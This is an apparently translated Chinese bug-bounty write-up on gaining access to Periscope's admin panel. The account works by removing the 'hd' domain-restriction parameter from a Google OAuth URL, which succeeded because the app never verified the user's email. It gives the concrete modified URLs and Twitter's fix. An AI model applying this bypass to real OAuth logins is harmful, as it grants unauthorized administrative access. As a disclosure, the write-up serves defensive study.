Periscope是一个属于Twitter的iOS/Android应用,主要用于现场直播。通过一个基于WEB的管理面板管理着数百万的用户,你可以通过访问admin.periscope.tv获悉。
当你浏览站点,所有的请求都讲重定向到/auth?redirect=/(这是由于我们没有一个有效的会话),进而重定向到谷歌身份验证
重定向后的URL如下所示,包含各种参数。最有趣的还是.hd这是用来限制登录到特定域,在我们这个案例中为bountyapp.co
https://accounts.google.com/o/oauth2/auth?access_type=
&approval_prompt=
&client_id=57569323683-c0hvkac6m15h3u3l53u89vpquvjiu8sb.apps.googleusercontent.com&hd=bountyapp.co&redirect_uri=https%3A%2F%2Fadmin.periscope.tv%2Fauth%2Fcallback
&response_type=code
&scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fplus.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile
&state=%2FStreams
我们尝试使用test@gmail.com账户进行登录操作,接着我们将重定向到用户选择页面,再次尝试操作依旧重定向到该页面。
然而,我们可以简单的移除这个参数。在URL中没有签名来阻止我们进行修改,该应用的主要任务就是验证返回的token。
这提供给我们以下的URL(你可能会注意到我已经将Google+范围删除了,这是由于测试并没有进行注册的原因)
https://accounts.google.com/o/oauth2/auth?access_type=
&approval_prompt=
&client_id=57569323683-c0hvkac6m15h3u3l53u89vpquvjiu8sb.apps.googleusercontent.com
&redirect_uri=https%3A%2F%2Fadmin.periscope.tv%2Fauth%2Fcallback
&response_type=code
&scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile
&state=%2FStreams
浏览器转到这个新的页面,提示我们进行应用授权
单击“Accept”按钮之后,重定向连接回到管理面板,以下信息可作为参考
这里可以有应用交换访问token的代码,从白名单中验证返回的用户ID,或者至少会验证这个域为bountyapp.co
但是在本案例中,假设我们作为该公司员工使用@bountyapp.co后缀的邮箱成功登录。所请求的userinfo.profile许可不包含用户的电子邮箱地址,所以应用程序是不能对它进行验证的。
至此,我们便获得了管理后台。
在这里我们便能够看到许多的东西了——用户以及各种信息流。
修复方案
Twitter对这个BUG进行了两处修改。***个便是在请求中增加了额外的许可
https://www.googleapis.com/auth/userinfo.email
第二个就是修正用户回调的验证,现在尝试使用一个无效的用户进行身份验证只会返回一个401页面
HTTP/1.1 401 Unauthorized Content-Type: text/html; charset=utf-8 Location: /Login Strict-Transport-Security: max-age=31536000; preload X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Xss-Protection: 1; mode=block Content-Length: 36 <href="/Login">Unauthorized</a>.